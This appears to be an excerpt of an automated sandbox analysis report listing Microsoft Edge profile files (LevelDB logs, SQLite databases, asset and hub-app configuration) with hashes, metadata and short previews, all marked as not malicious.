Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\742aee26-2bce-4589-8c84-06dc5c2d9eb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7d0e7da4-1353-4766-b938-a9624d699583.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.243441678970824
Encrypted:	false
SSDEEP:	6:y/oRRM1923oH+Tcwtp3hBtB2KLlk/MFIq2P923oH+Tcwtp3hBWsIFUv:hhYebp3dFLAv4Yebp3eFUv
MD5:	92D2EB93457F9F01549A7EEBD8798A68
SHA1:	5060E46EAD95C8D799F3E0B4CF567003FC00C3E0
SHA-256:	82DB4AB45504272D2AB6D0D1B642BAB9C86C510A3739DDF155DF4E46E0F4CC58
SHA-512:	F9F5A6735954CADC4F084799E0BA255DEFDBD8A477CCD83533BA67103AFD0E8FEC2CF339F6105D59D756C87F6C68C5B2E81E9FD7899C302365FF2E5532D46AE4
Malicious:	false
Preview:	2024/10/28-13:43:28.157 1e74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/28-13:43:28.211 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222861719616408
Encrypted:	false
SSDEEP:	24576:v+/PN8FLfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Rfx2mjF
MD5:	B0321066483F66A9FE06A86ABEBA3BA1
SHA1:	29A0A6F94CF2897EAE264E4FC80263DF9421FC28
SHA-256:	418074E831E441196541135CDE3AFA657752C76E7EEBB19A7EE462213BFE5A31
SHA-512:	6CE6A71C19C5FB54C0698197FDCAD9DD46028A51734DA0B19EACAE241F9AD6E3B001101DB821B1B77012C72D5A8B7E777FF35B2C9D49050CDFA4EB3E35FA9160
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112580853175992
Encrypted:	false
SSDEEP:	6:yeQIq2P923oH+Tcwt9Eh1tIFUt8h9XZmw+h8zkwO923oH+Tcwt9Eh15LJ:5QIv4Yeb9Eh16FUt8r/+W5LYeb9Eh1VJ
MD5:	403219A39C6365336F8CCDD12A53129B
SHA1:	E85FA332BA0497C9DAE9873C005DF3C22C068222
SHA-256:	1D99455371E218DB665A81AE8B83B9029763B746DC368DB3A2A0890938A276BC
SHA-512:	1A4056E39DF7F8BE374B5D3784663239485C3B170EAA4255E472B708B93CA36827223BDADEC91178109F2492B6DB27BB8E2D526FC4692454B58C78B45F4C9C70
Malicious:	false
Preview:	2024/10/28-13:43:27.437 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/28-13:43:27.439 2104 Recovering log #3.2024/10/28-13:43:27.920 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112580853175992
Encrypted:	false
SSDEEP:	6:yeQIq2P923oH+Tcwt9Eh1tIFUt8h9XZmw+h8zkwO923oH+Tcwt9Eh15LJ:5QIv4Yeb9Eh16FUt8r/+W5LYeb9Eh1VJ
MD5:	403219A39C6365336F8CCDD12A53129B
SHA1:	E85FA332BA0497C9DAE9873C005DF3C22C068222
SHA-256:	1D99455371E218DB665A81AE8B83B9029763B746DC368DB3A2A0890938A276BC
SHA-512:	1A4056E39DF7F8BE374B5D3784663239485C3B170EAA4255E472B708B93CA36827223BDADEC91178109F2492B6DB27BB8E2D526FC4692454B58C78B45F4C9C70
Malicious:	false
Preview:	2024/10/28-13:43:27.437 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/28-13:43:27.439 2104 Recovering log #3.2024/10/28-13:43:27.920 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4627778075888589
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuJf:TouQq3qh7z3bY2LNW9WMcUvBuJf
MD5:	795446FEF1CD8B51AD1A03B4CA8CDAD4
SHA1:	EB6B27BF5CFA6ABFBC6C1761F95C7B65CCD1D79D
SHA-256:	576C677841DEB48D6902D292D3213A39F93B671F2482200DA9175C1F4328F5F2
SHA-512:	73FA8F262F99AC63B1AEE51E50D727D8910CB5FB0C73A273693ADD120B361D44280F0EE129EA3F9442043D20F95CEBE0D2320411F039AFA6314E69E9C57BEC1F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.17898419506936
Encrypted:	false
SSDEEP:	6:y1vAgq2P923oH+TcwtnG2tMsIFUt8h1vABZmw+h1Ei7kwO923oH+TcwtnG2tMsLJ:CvDv4Yebn9GFUt8Tv2/+Th5LYebn95J
MD5:	0153DF89AC4E211DD32CFE69E7B2C1E5
SHA1:	36F233B65FCE5083C9FB1165CFAEC2EFCFEF97DB
SHA-256:	E00541547F33D2D0658264A6C405EC34F1BB32066C5ECF9E2A6E07AC7C490774
SHA-512:	FA1E8FE4598D9B2D32AFDE29611B9693566B038CBD31EDA7278A3BCDF2395E7544D18D883B2F1CD2F444836437510EA58A6F351BD4C151D78D834B431EE39305
Malicious:	false
Preview:	2024/10/28-13:43:22.825 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/28-13:43:22.825 1eb0 Recovering log #3.2024/10/28-13:43:22.826 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.17898419506936
Encrypted:	false
SSDEEP:	6:y1vAgq2P923oH+TcwtnG2tMsIFUt8h1vABZmw+h1Ei7kwO923oH+TcwtnG2tMsLJ:CvDv4Yebn9GFUt8Tv2/+Th5LYebn95J
MD5:	0153DF89AC4E211DD32CFE69E7B2C1E5
SHA1:	36F233B65FCE5083C9FB1165CFAEC2EFCFEF97DB
SHA-256:	E00541547F33D2D0658264A6C405EC34F1BB32066C5ECF9E2A6E07AC7C490774
SHA-512:	FA1E8FE4598D9B2D32AFDE29611B9693566B038CBD31EDA7278A3BCDF2395E7544D18D883B2F1CD2F444836437510EA58A6F351BD4C151D78D834B431EE39305
Malicious:	false
Preview:	2024/10/28-13:43:22.825 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/28-13:43:22.825 1eb0 Recovering log #3.2024/10/28-13:43:22.826 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6140693110754509
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jfm+p1mPmL:TO8D4jJ/6Up+CjU
MD5:	69C6B272C9720BFC77318244855ACD9B
SHA1:	8DBA51EA5F8382B52C606D4FD8DD89B755C30E4A
SHA-256:	4D04CC84064053BFCB6EC3F8FD8D6DEC587003A1A4E46E0AE8D72A71B95C25FB
SHA-512:	3C20758FA5A601C586617B72ECF9C1300250E1866839829A8F72B4E62E0715155E9EC307D4BB5082AD303DE724A5E32CA81D9B52CFA4AA3E47A07CF239EB1C6A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354122665946194
Encrypted:	false
SSDEEP:	6144:PA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:PFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	CA23607F1DFD373CDCF239B38AF665DC
SHA1:	C9DBC01C7B3535492AC4FE5C03FF01A62E04A320
SHA-256:	6D238FB24F88B9BF13D3FB4F1A1EDBF1AEE2F0115BF366EC87F31FC1D235A03F
SHA-512:	7D0B59C7DBC72BA16A68269C359FD1F0A9E078BC85935490B269C1F6B360B61DF728379D78392F4388DFC7C2226D2C16A209B760E7ADD1B0553A3D760FC8172A
Malicious:	false
Preview:	...m.................DB_VERSION.1..2.q...............&QUERY_TIMESTAMP:domains_config_gz2...13374611009908360..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.191842975401446
Encrypted:	false
SSDEEP:	6:ygbM1923oH+Tcwtk2WwnvB2KLlk/Avyq2P923oH+Tcwtk2WwnvIFUv:RbhYebkxwnvFL96v4YebkxwnQFUv
MD5:	0628ADD1AD97DFAABD951A5FA658B68E
SHA1:	BB0301F7AC1536FFE5D30B4345918AF9B5C35F14
SHA-256:	F1E1E644C2D28BDF75D4CDCE9525DC7378842A958C6E7C293027488A61C1F210
SHA-512:	EBE81844131CAB866875000B3B0BBF72ED2EDA5A6CDBD465F06CE051BB697B0DA3083DA94D69744067DF1776CD6A448603C3633310AEF1C2309E0721EAF08B65
Malicious:	false
Preview:	2024/10/28-13:43:27.955 2114 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/28-13:43:28.126 2114 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611682907086
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R5:C1gAg1zfvh
MD5:	695E14811DAB70DB85FF7505BCF27EA3
SHA1:	76AB03DE84B5ED1C5AAF6B9F52CB7CB9F6102550
SHA-256:	9A5CBCC5294DA5FC881751EB7876AAFDE404B495887CA1EB6358E10A10A319BB
SHA-512:	7452DE9DE91911EF68DA6060DAB7E8A9187CD7A735E87DA808760672FA0F38850F4FD28AD791E4EFEB2D4F1CE6676D68C31736AE847E3446C155FF250DF9F36E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.140843113405407
Encrypted:	false
SSDEEP:	6:y1JFIq2P923oH+Tcwt8aPrqIFUt8h1yZmw+h1+kwO923oH+Tcwt8amLJ:Ckv4YebL3FUt8Ty/+T+5LYebQJ
MD5:	FBDA1C23A15BE77559F0E9021B3DBD98
SHA1:	C3B24E2CE2C7C04E0557DC1DBA810F0DB365D217
SHA-256:	E67EF2C93A933B4AA463DDF160DA28171C5834F1A6FA9A284547C271D7D52A5F
SHA-512:	DC8B3CC3C76453A4D33B4016BA4EBF0A2F6E189B13B673597CADB1E17ACB67DDFF576C4AA3C9D00C82CE4D4C82ABBAD55F8BCDB8575C2526CECBCFAFD6C14F06
Malicious:	false
Preview:	2024/10/28-13:43:22.828 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/28-13:43:22.829 1eb0 Recovering log #3.2024/10/28-13:43:22.829 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.140843113405407
Encrypted:	false
SSDEEP:	6:y1JFIq2P923oH+Tcwt8aPrqIFUt8h1yZmw+h1+kwO923oH+Tcwt8amLJ:Ckv4YebL3FUt8Ty/+T+5LYebQJ
MD5:	FBDA1C23A15BE77559F0E9021B3DBD98
SHA1:	C3B24E2CE2C7C04E0557DC1DBA810F0DB365D217
SHA-256:	E67EF2C93A933B4AA463DDF160DA28171C5834F1A6FA9A284547C271D7D52A5F
SHA-512:	DC8B3CC3C76453A4D33B4016BA4EBF0A2F6E189B13B673597CADB1E17ACB67DDFF576C4AA3C9D00C82CE4D4C82ABBAD55F8BCDB8575C2526CECBCFAFD6C14F06
Malicious:	false
Preview:	2024/10/28-13:43:22.828 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/28-13:43:22.829 1eb0 Recovering log #3.2024/10/28-13:43:22.829 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

